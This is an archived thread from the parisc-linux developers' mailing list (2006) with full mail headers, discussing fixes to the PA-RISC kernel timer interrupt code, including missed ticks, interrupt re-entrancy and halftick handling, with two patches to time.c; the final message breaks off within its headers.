Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 00:58:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 04 Sep 2006 02:58:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5B07D904;
	Sun,  3 Sep 2006 18:58:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00791-06; Sun, 3 Sep 2006 18:58:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41E897D907;
	Sun,  3 Sep 2006 18:58:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20A9B7D904
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 18:58:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32596-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 18:58:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CFBC67D903
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 18:58:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k840wgiq021158;
	Sun, 3 Sep 2006 20:58:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k840wf9p021157;
	Sun, 3 Sep 2006 20:58:41 -0400 (EDT)
In-Reply-To: <20060904000937.GA6963@colo.lackof.org> from "Grant Grundler" at
	Sep 3, 2006 06:09:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ag+aIDsZa0AoXL6aejEzEV03Njh6dA7s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23962

> > GCC didn't do a great job of optimizing the code.  I think we would
> > get better code if clocktick and halftick were copied to temps before
> > the irqsave.
> 
> hrm...I would expect the same result from __read_mostly but can understand
> why that's not as useful as I hoped.

They are getting relead on every use.

> Can we tell GCC that clocktick doesn't change during execution of this code?
> ie despite being a global, it's a "constant" and doesn't need to be
> reloaded on each loop iteration?

I think it's tricky.  Constants go in readonly data.  However, the
values need to be initialized at runtime.  Copying the values to
"register" tempories before the loop seems to resolve the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 23:51:40 -0400 (EDT)
Lines: 86
Approved: news@gmane.org
Message-ID: <200609040351.k843peXe022064@hiauly1.hia.nrc.ca>
References: <20060904000937.GA6963@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624175 20885 80.91.229.3 (22 Nov 2014 02:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:55 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 soete.joel@scarlet.be,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 03:51:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 04 Sep 2006 05:51:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC1A17D8FE;
	Sun,  3 Sep 2006 21:51:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02955-09; Sun, 3 Sep 2006 21:51:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07CCC7D901;
	Sun,  3 Sep 2006 21:51:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 315717D8FD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 21:51:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03212-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 21:51:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CC5797D8F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 21:51:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k843pfxS022065;
	Sun, 3 Sep 2006 23:51:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k843peXe022064;
	Sun, 3 Sep 2006 23:51:40 -0400 (EDT)
In-Reply-To: <20060904000937.GA6963@colo.lackof.org> from "Grant Grundler" at
	Sep 3, 2006 06:09:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6pXJdXtQIyd1EvqQe2dr8Opaa2FkZtUM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23963

> I've not applied the irqsave/restore since I don't think it does anything.
> do_cpu_irq_mask() doesn't allow nested external interrupts.

I updated what I'm testing to remove the irqsave/restore.  I'm interested
to see if this helps various random failures that occur, particularly in
the libjava testsuite with thread intensive code.

> > GCC didn't do a great job of optimizing the code.  I think we would
> > get better code if clocktick and halftick were copied to temps before
> > the irqsave.
> 
> hrm...I would expect the same result from __read_mostly but can understand
> why that's not as useful as I hoped.

#define __read_mostly __attribute__((__section__(".data.read_mostly")))

GCC doesn't do anything special with this section as far as I can tell.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: time.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
retrieving revision 1.16
diff -u -p -u -r1.16 time.c
--- time.c	24 Jun 2006 16:05:18 -0000	1.16
+++ time.c	4 Sep 2006 03:26:43 -0000
@@ -47,26 +47,38 @@ irqreturn_t timer_interrupt(int irq, voi
 {
 	long now;
 	long next_tick;
-	int nticks;
+	unsigned long nticks = 0;
+	long ct = clocktick;
+	long ht = halftick;
 	int cpu = smp_processor_id();
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to time of last clocktick */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
+	/* Since time passes between the interrupt and the mfctl(),
+	 * it is never true that last_tick + clocktick == now.
+	 * If we never missed a clocktick, we could set
+	 * next_tick = last_tick + clocktick, but maybe we'll
+	 * miss ticks, hence the loop.  It also ensures that the
+	 * count for the next interrupt is at least a half tick
+	 * away.
+	 *
+	 * Variables are *signed*.  As a result, onc cycle of ticks
+	 * will be missed if interrupt latency every causes the 
+	 * difference between next_tick and now to exceed roughly
+	 * half the 32-bit wrap counter period.
+	 *
+	 * We only use local automatic variables in the loop to
+	 * avoid the possibility of an interruption delaying the
+	 * setting of cr16 for the next tick.
 	 *
-	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
+	now = mfctl(16);
+	while((next_tick - now) < ht) {
+		next_tick += ct;
 		nticks++;
 	}
 	mtctl(next_tick, 16);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 11:00:48 -0400
Lines: 111
Approved: news@gmane.org
Message-ID: <119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624175 20886 80.91.229.3 (22 Nov 2014 02:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:55 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 15:00:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 03 Sep 2006 17:00:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B02007D84E;
	Sun,  3 Sep 2006 09:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24750-05; Sun, 3 Sep 2006 09:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECFD67D847;
	Sun,  3 Sep 2006 09:00:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 671697D83F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 09:00:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23940-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 09:00:49 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.237])
	by free.linux.hp.com (Postfix) with ESMTP id 1A7FD7D83E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 09:00:49 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so1938694wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 03 Sep 2006 08:00:48 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=tIMxL6+IMubBeOh9V8T/OGH+OUlSGNivMtJZgKsB0EjxIC7CeADZKzHv/ABOJQ2OOaShaRYCsbpey49kSLvjWgMAsU2iEXjxyav4SzGU7CbHC3T3re/5zYWdd9ZHQyyqWAJ9PxrVwzLE4Wg63aki0Zbu+Om3XHQQjyqncS1gWcQ=
Original-Received: by 10.90.100.2 with SMTP id x2mr991773agb;
	Sun, 03 Sep 2006 08:00:48 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Sun, 3 Sep 2006 08:00:48 -0700 (PDT)
In-Reply-To: <1157212326.4041.26.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 9b385038f9bb7d6d
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SZ+TKyBAMydyf4igZWpltBtraGRhZlqG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23964

On 9/2/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> Actually, according to my analysis on ioz (pa8800) there seem to be some
> hidden issues with our implementation (i.e. it's not the mathematics).

Thanks for the review.

> The first problem is that interrupts are re-entrant, so the timer
> interrupt can get re-interrupted.  If this happens between the mfctl(16)
> and the mtctl(), which is made much longer by the use of while loops,
> then there's a small possibility that the interrupt caused us to miss
> the next tick (i.e. cr16 moved beyond next_tick while in the interrupt).
> I see this very occasionally on the pa8800 caused by flush IPIs (since
> the cache is so huge) ... it's probably caused by SCSI interrupts on the
> C3xxx that everyone else is testing with.  However, when this happens,
> you have to wait for cr16 to wrap before you get another timer
> interrupt, which I believe to be the source of the time jumps and
> negative offsets in gettimeoffset().

You address two issues here 1) Long times between timer_interrupts,
2) negative offsets in gettimeoffset().

The first issue is a problem I had not considered. It is a very likely
scenario that timer_interrupt is interrupted by another
timer_interrupt, and overwrites the cr16 value of the most recent
interrupt. Your patch here is definately correct, I had considered the
reentrancy of this function.

Your guess that this is the solution to problem 2) is not quite right.
I will argue that the "halftick" counting is at fault here. When a
"halftick" is counted as a full tick the system time moves into the
future. All calls to gettimeoffset must therefore return negative
adjustments. I think removing the erroneous halftick counting is the
solution to issue 2.

> My proposed fix for this is below.  However, we seem to have a few other
> issues:
>
>      1. On SMP, cr16 of the secondary processors (and next_tick) is
>         never initialised ... we just wait for the timer to wrap and
>         then pick up ticking from there.
>      2. processor_probe() blows away all of the next_tick data when it's
>         called (once for every CPU)
>      3. We're regularly missing multiple ticks ... mainly below about
>         30 .. there must be some cause for this but I can't immediately
>         find it.

#3 is worrying.

>      4. we don't obey CONFIG_HZ at all the clock is always either 1000
>         for pa2.0 or 100 for pa1.0
>
> James
>
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 5facc9b..93322a2 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -48,9 +48,13 @@ irqreturn_t timer_interrupt(int irq, voi
>         long next_tick;
>         int nticks;
>         int cpu = smp_processor_id();
> +       unsigned long flags;
>
>         profile_tick(CPU_PROFILING, regs);
>
> +       /* Don't want to be interrupted while calculating
> +        * time offsets */
> +       local_irq_save(flags);
>         now = mfctl(16);
>         /* initialize next_tick to time at last clocktick */
>         next_tick = cpu_data[cpu].it_value;
> @@ -63,13 +67,24 @@ irqreturn_t timer_interrupt(int irq, voi
>          * Variables are *signed*.
>          */
>
> -       nticks = 0;
> -       while((next_tick - now) < halftick) {
> +       /* Don't do expensive mul and div for the likely case */
> +       if (likely(now - next_tick < clocktick)) {
> +               nticks = 1;
>                 next_tick += clocktick;
> +       } else {
> +               nticks = ((now - next_tick)/clocktick) + 1;
> +               next_tick += clocktick*nticks;
> +       }
> +       /* Don't interrupt too much.  If we only have half
> +        * the time to go to the next tick, push it out one
> +        * more tick */
> +       if (unlikely(next_tick - now < halftick)) {
>                 nticks++;
> +               next_tick += clocktick;
>         }
>         mtctl(next_tick, 16);
>         cpu_data[cpu].it_value = next_tick;
> +       local_irq_restore(flags);
>
>         while (nticks--) {
>  #ifdef CONFIG_SMP
>

Grant, we should merge James' fix into the current working patch for
timer cleanups.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 04 Sep 2006 10:49:38 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1157384978.3513.8.camel@mulgrave.il.steeleye.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
	<20060903193806.GB20217@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624176 20889 80.91.229.3 (22 Nov 2014 02:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:56 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 15:50:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 04 Sep 2006 17:50:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAE3D7D8F4;
	Mon,  4 Sep 2006 09:49:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13331-10; Mon, 4 Sep 2006 09:49:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF8487D8FE;
	Mon,  4 Sep 2006 09:49:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 446AC7D8EB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 09:49:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13789-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 09:49:52 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id D868B7D7B6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 09:49:51 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k84Fnd513109; Mon, 4 Sep 2006 11:49:39 -0400
In-Reply-To: <20060903193806.GB20217@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HHPJcEM9RkkeaauPfGRqKqpmdWkvKNMt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23965

On Sun, 2006-09-03 at 13:38 -0600, Grant Grundler wrote:
> Doesn't this violate one of the basic tenants of linux interrupts?
> 
> I know the interrupt handler (same instance) can't be invoked on
> two different CPUs and it seems re-entrance would be a similar
> case.

re-entrant is the wrong word ... however all linux interrupt handlers
should be interruptible (unless they specifically disable interrupts).
Ours apparently still aren't, so I'll see about fixing them.

The timer interrupt is the exception, actually, because it's set
IRQF_DISABLED which means no interrupts in timer_interrupt() until
they're specifically enabled, which doesn't happen until well into the
softirq processing.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 04 Sep 2006 10:51:44 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1157385104.3513.11.camel@mulgrave.il.steeleye.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
	<119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
	<1157300093.3486.15.camel@mulgrave.il.steeleye.com>
	<20060903193122.GA20217@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624176 20892 80.91.229.3 (22 Nov 2014 02:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:56 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 15:52:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 04 Sep 2006 17:52:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A07EB7D920;
	Mon,  4 Sep 2006 09:51:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14280-07; Mon, 4 Sep 2006 09:51:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09B847D921;
	Mon,  4 Sep 2006 09:51:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
